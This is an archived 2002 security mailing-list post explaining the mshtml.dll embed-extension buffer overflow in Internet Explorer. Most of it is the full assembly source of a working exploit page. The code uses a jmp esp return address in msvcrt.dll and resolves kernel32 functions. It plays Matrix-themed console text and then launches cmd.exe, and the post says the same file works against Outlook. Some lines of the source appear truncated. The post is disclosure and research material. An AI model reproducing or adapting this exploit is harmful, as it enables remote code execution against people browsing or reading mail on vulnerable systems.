Computer Security
[EN] no-pyccku

Related information

  Buffer overflow in mshtml.dll

  Buffer Overflow in Microsoft Internet Explorer

  Advisory CA-2002-04 Buffer Overflow in Microsoft Internet Explorer

  Microsoft Security Bulletin MS02-005

  dH & SECURITY.NNOV: buffer overflow in mshtml.dll

From:3APA3A <3APA3A_(at)>
Subject:Details and exploitation of buffer overflow in mshtml.dll (and few sidenotes on Unicode overflows in general)


Advisory  was  originally  posted  in [1-3] 2 weeks ago, so I think it's
enough  time  passed  to publish some details, because [4,5] have enough
information to re-discover vulnerability.

ERRor  <error(at)>  discovered  IE  5.5 and 6.0 in some cases
crash on

<embed src="filename.AAAAAAAAAA<lot of 'A's>">

with EIP 0x41004100.

Overflow    occurs    then    IE    concatenates   file   extension   to
"Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappingOverride\"
with  wcscat().

There  is another input validation bug in Internet Explorer: it fails to
detect  if  file  has no extension. In this case it looks for dot before
filename  and  treats everything after that dot like an extension... So,
it's possible to overflow buffer with long filename without extension.

The rest of this paper is for vuln-dev :)

It's  a  kind  of  Unicode buffer overflow so much discussed on Vuln-Dev
some  time  ago.  Usually  we  do  not code and release any exploits for
"standard"  holes  like  format  strings  or  overflows  and  only point
vulnerability  is  exploitable. The only reason of this paper is to show
how  easy  is exploitation of this sort of bug. In future we do not plan
to release any exploits of this kind.

There are few problems for one who wants to create exploit:

1.  All  data  is converted to Unicode, that is 'A' will be converted to
2.  Address  of  shellcode will be different depending on number of open
Internet  Explorer  windows,  Windows  and Internet Explorer version and
patches installed.
3.  There is different offset of saved EIP in stack in Internet Explorer
before and after IE5.5SP2.
4.  One  more  small  problem.... We will not describe it because it may
help   to  stop  virus  or  scriptkiddie  with  exploit  if  one  appear

Now  you  can  try  to  exploit this bug by yourself... I've got working
exploit after half of hour without using any debugger/disassembler :)

One  of  the first Unicode overflows found in-the-wild was vulnerability
in IIS ISAPI filter found by eEye[6]. They failed to make really working
exploit,  saying  exploiting  of  this kind of bug is hard. This bug was
successfully  exploited  by hsj and later by authors of CodeRed worm. It
is  easy way to bypass conversion of the shellcode to Unicode: it should
be  in  Unicode  already.  It  was  a  trick  used by CodeRed (wonderful
analysis  of  CodeRed was made by Andrey Kolishak in [7]). I wrote about
Unicode  HTMLs  in  [8]  (in  fact  [8] was released to prevent possible
impacts  of  this  paper  but didn't succeeded, because multiple filters
still don't check Unicode htmls).

Andrey  pointed  to  easy (and well known) way to avoid second problem -
hardcoded  shellcode  address.  Instead  of  overwriting  saved EIP with
address  of  our shellcode we can use indirect jump - overwrite eip with
address  of instruction in memory space of some dll which will jump back
to  our  code  via  ebp  or  esp  (ebp  may be used if exploiting format
strings).  We fond jmp esp (FFE4) in all versions of kernel32.dll and in
one  version  of  msvcrt.dll  (6.10.8924.0). This version of dll doesn't
depend on Internet Explorer and presents in most installation of Windows
NT  4.0  and Windows 2000 we checked (but never in Windows 95/98/ME/XP),
so we used it.

Third problem was solved by using few noops and

 call xxxx
 pop ebp

combination to get the exact address of our shellcode.

Since  exploit  is  in  Unicode  we  may do not care about '\0' (0x0000,
0xFFFF are prohibited and we have to care about calls and far jumps) so,
we  did  large  shellcode  with  visual  effects. If you like it you can
download  full  version  of  dH  & SECURITY.NNOV Matrix screensaver from

Resulting HTML (will work with msvcrt.dll 6.10.8924.0 and doesn't depend
on mshtml.dll version, program used and Windows version) can be obtained
from    Same   file
(properly  encoded  to  UTF-7, UTF-8, quoted-printable or base64) may be
used  to  exploit Outlook Express/Outlook. (I've just noticed that under
Windows  2000  terminal  window  sometimes is open in background and you
need  to  switch... Well... It's not good but I don't bother to patch it
:) ).

Below is source code for matrix.htm:

-=-=-=-=-=-=-=-=- begin matrix.asm -=-=-=-=-=-=-=-=-
;   matrix.asm - source code for matrix.htm
;   build:
;   tasm matrix.asm /m2
;   tlink matrix.obj, matrix.htm /t /3
;   Authors:
;     ERROR:    bug discovery
;     3APA3A:   idea and coding
;     OFFliner: matrix effects and undocumented Windows API
;   Thanx to Andrey Kolishak for indirect esp jump idea
;     you can obtain matrix screensaver from
;  eipjmp: overwrites saved EIP for all versions of
;          mshtml.dll
;  espjmp: gets control after jmp esp and calls code1
;  code1:  restores EIP from stack after call to ebp
;          does some actions and jumps to code2
;  code2:  does the rest of actions

datap           equ (DataTable+080h)
hKernel32       equ LoadL-datap
cCur            equ StringTable-datap
SetCCH          equ StringTable+4-datap
GetSH           equ StringTable+8-datap
Sleep           equ StringTable+12-datap
WriteC          equ StringTable+16-datap
AllocC          equ StringTable+20-datap
SetCDM          equ StringTable+24-datap
SetCTA          equ StringTable+28-datap
SetCCI          equ StringTable+32-datap
WinE            equ StringTable+36-datap
ExitP           equ StringTable+40-datap

hStdOut         equ StringTable+48-datap
dwOldMode       equ cCur
conCur          equ StringTable+52-datap
cls             equ StringTable+56-datap
DWNumChar       equ StringTable+60-datap
RegHK           equ user-datap

_faked  segment para public 'CODE' use32
      assume cs:_faked
_faked   ends

_main  segment para public 'DATA' use32
      assume cs:_main

       begin   db      0ffh,0feh               ;Unicode prefix
               db      "<",0,"e",0,"m",0,"b",0,
               db      "s",0,"r",0,"c",0,"=",0,34,0
               db      "h",0,"t",0,"t",0,"p",0,":
               db      "w",0,"w",0,"w",0,".",0
               db      "s",0,"e",0,"c",0,"u",0,
               db      "n",0,"n",0,"o",0,"v",0,".
               db      "/",0,"f",0,"i",0,"l",0,
               db      "i",0,"e",0,"b",0,"o",0,
               db      "!(c)3APA3A"
               db      22 dup(090h)
       pop ebp
       mov esp,ebx
       xor eax,eax
dataoffset = DataTable - code2
ebpdiff = 80h + dataoffset
       mov ax,ebpdiff
       add ebp,eax                     ;ebp points to data
       lea eax,[ebp+user-datap]
       push eax
       mov ebx,[ebp+LoadL-datap]
       mov eax,[ebx]
       mov [ebp+LoadL-datap],eax
       call eax                        ;LoadLibraryA("user32.dll")
       lea ebx,[ebp+reg-datap]
       push ebx
       push eax
       mov ebx,[ebp+GetPA-datap]
       mov eax,[ebx]
       mov [ebp+GetPA-datap],eax
       call eax                        ;GetProcAddress(.,"RegisterHotKey")
       mov [ebp+RegHK],eax
       lea edi,[ebp+rhk-datap]
       movzx esi,byte ptr[edi]
       inc edi
       xor eax,eax
       mov al,[edi]
       push eax
       inc edi
       mov al,[edi]
       push eax
       inc edi
       mov al,[edi]
       push eax
       xor eax,eax
       push eax
       call [ebp+RegHK]
       dec esi
       or esi,esi
       jnz LoopHotKey
       lea eax,[ebp+StringTable-datap] ;string "kernel32.dll"
       push eax
       call [ebp+LoadL-datap]          ;LoadLibraryA("kernel32.dll")
       mov [ebp+hKernel32],eax         ;hKernel32 =

       lea eax, [ebp+SetCCH]
       mov [ebp+cCur],eax              ;*cCur = SetCCH
       lea edi,[ebp+funcnum-datap]
       movzx esi,byte ptr[edi]         ;esi=funcnum
       inc edi
       push edi
       push dword ptr [ebp+Hkernel32]
       call [ebp+GetPA-datap]          ;GetProcAddress(edi)
       mov ebx,[ebp+cCur]
       mov [ebx],eax                   ;save func address
       xor ecx,ecx
       mov cl,4
       add ebx,ecx
       mov [ebp+cCur],ebx              ;cCur+=4
       not ecx
       xor eax,eax
       repnz scasb                     ;find \0
       dec esi
       or esi,esi
       jnz LoopResolve

       call [ebp+AllocC]               ;AllocConsole()
       push eax                        ;nonzero if succeed
       xor eax,eax
       push eax
       call [ebp+SetCCH]               ;SetConsoleCtrlHandler(NULL,TRUE)
       xor eax,eax
       not eax
       sub al,0Ah
       push eax
       call [ebp+GetSH]                ;GetStdHandle(STD_OUTPUT_HANDLE)
       mov [ebp+hStdOut],eax           ;hStdOut=
       lea eax,[ebp+dwOldMode]
       push eax
       xor ebx,ebx
       inc ebx
       push ebx
       push dword ptr [ebp+hStdOut]
       call [ebp+SetCDM]               ;SetConsoleDisplayMode(hStdOut, 1, &dwOldMode)
       xor ebx,ebx
       mov bl,0Ah
       push ebx
       push dword ptr [ebp+hStdOut]
       call [ebp+SetCTA]               ;SetConsoleTextAttribute(hStdOut,
       xor ebx,ebx
       mov [ebp+ConCur+4],ebx          ;ConCur.bVisible = 100
       mov bl, 100
       mov [ebp+ConCur],ebx            ;ConCur.dwSize = 0
       lea eax, [ebp+ConCur]
       push eax
       push dword ptr [ebp+hStdOut]
       call [ebp+SetCCI]               ;SetConsoleCursorInfo(hstdOut,&ConCur)
       xor eax,eax
       mov ax,1000
       push eax
       call[ebp+Sleep]                 ;Sleep(1000);
       xor ebx,ebx
       mov bl, string-datap
       mov eax,ebp
       add eax,ebx
       mov [ebp+cCur],eax              ;cCur = string
       mov eax,ebp
       mov bx,datap-empty_string
       sub eax,ebx
       mov [ebp+cls],eax               ;set address of empty_string
LOOP1:                                  ;do do
       xor eax,eax
       push eax
       lea ebx,[ebp+DWNumChar]
       push ebx
       inc eax
       push eax
       mov eax,[ebp+cCur]
       push eax
       push dword ptr [ebp+hStdOut]
       call [ebp+WriteC]               ;WriteConsole(hStdOut,(void*)cCur,1,&DWNumChar,
       xor eax,eax
       mov al,100
       mov ecx,[ebp+cCur]
       mov bl,[ecx]
       sub bl,20
       jnz N1
       mov ax,400
N1:     mov bl,[ecx]
       sub bl,8
       jnz N2
       mov ax,2100
N2:     push eax
       call [ebp+Sleep]                ;Sleep((*cCur==' ')?400:(*cCur=='\b')?2100:100)
       mov ecx,[ebp+cCur]
       inc ecx
       mov [ebp+cCur],ecx              ;++cCur
       mov bl,[ecx]
       sub bl,9
       jnz LOOP1                       ;while(*cCur!='\t');
       call [ebp+cls]
       mov ecx,[ebp+cCur]
       inc ecx
       mov [ebp+cCur],ecx              ;++cCur
       mov bl,[ecx]
       sub bl,00Ah
       jnz LOOP1                       ;while(*cCur!='\n');
       inc ecx
       xor eax,eax
       push eax
       lea ebx,[ebp+DWNumChar]
       push ebx
       mov al,18
       push eax
       push ecx
       push dword ptr [ebp+hStdOut]
       jmp code2

codelength  = $ - begin
neednoops = 1d4h - codelength
               db neednoops dup(090h)

               dd      78024e02h
               dd      78024e02h
               dd      78024e02h
               dd      78024e02h
               dw      9090h
               dd      78024e02h       ;EIP for IE < 55SP2


               db 18 dup(090h)
       xor eax,eax                     ;ESP comes here
       mov ax,0170h
       mov ebx,esp
       sub ebx,eax
       call ebx

       call [ebp+WriteC]
       xor eax,eax
       mov ax,4000
       push eax
       call [ebp+Sleep]
       call [ebp+cls]
       lea eax,[ebp+cmdexe-datap]
       push eax
       push eax
       call [ebp+WinE]
       xor eax,eax
       push eax
       call [ebp+ExitP]
       ; some code can be pasted here
       xor eax,eax
       mov ax,1000
       push eax
       call [ebp+Sleep]        ;Sleep(1000)
       xor eax,eax
       push eax
       lea ebx,[ebp+DWNumChar]
       push ebx
       mov al,30
       push eax
       lea eax,[ebp+empty-datap]
       push eax
       push dword ptr [ebp+hStdOut]
       call [ebp+WriteC]



       LoadL   dd      780330d0h       ;LoadLibraryA import table entry
       GetPA   dd      780330cch       ;GetProcAddress import table entry


               db      "kernel32.dll",0
       funcnum db      10
               db      "SetConsoleCtrlHandler",0
               db      "GetStdHandle",0
               db      "Sleep",0
               db      "WriteConsoleA",0
               db      "AllocConsole",0
               db      "SetConsoleDisplayMode",0
               db      "SetConsoleTextAttribute",0
               db      "SetConsoleCursorInfo",0
               db      "WinExec",0
               db      "ExitProcess",0
       user    db      "user32.dll",0
       reg     db      "RegisterHotKey",0
       cmdexe  db      "cmd.exe",0
       rhk     db      5
               db      9,1,100,01bh,1,101,13,1,102,05dh,8,103,3,2,104
       empty   db      00dh,28 dup(020h),00dh,0
       string  db      00dh," Wake Up, Neo...",00dh,009h,0
               db      00dh," The Matrix has you...",00dh,009h,0
               db      00dh," Follow the White Rabbit.",00dh,008h,009h,00ah,0
               db      00dh," Knock, knock...",00dh,0
       padding db      32
               db      34,0,">",0,00ah
       copy    db      "(c) 2002 by 3APA3A, ERRor, OFFLiner"

_main   ends
  end  start
-=-=-=-=-=-=-=-=-  end matrix.asm  -=-=-=-=-=-=-=-=-


[1] dH & SECURITY.NNOV: buffer overflow in mshtml.dll
[2] Microsoft Security Bulletin MS02-005
[3] CAN-2002-0022
[4] CERT Advisory CA-2002-04 Buffer Overflow in Microsoft
   Internet Explorer
[5] ISS Alert: Buffer Overflow in Microsoft Internet Explorer
[6] All versions of Microsoft Internet Information Services Remote
   buffer overflow (SYSTEM Level Access)
[7] Andrey Kolishak, History of one vulnerability (in Russian)
[8] Bypassing content filtering software

       { , . }     |\
+--oQQo->{ ^ }<-----+ \
|  ZARAZA  U  3APA3A   }
+-------------o66o--+ /
You know my name - look up my number (The Beatles)

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod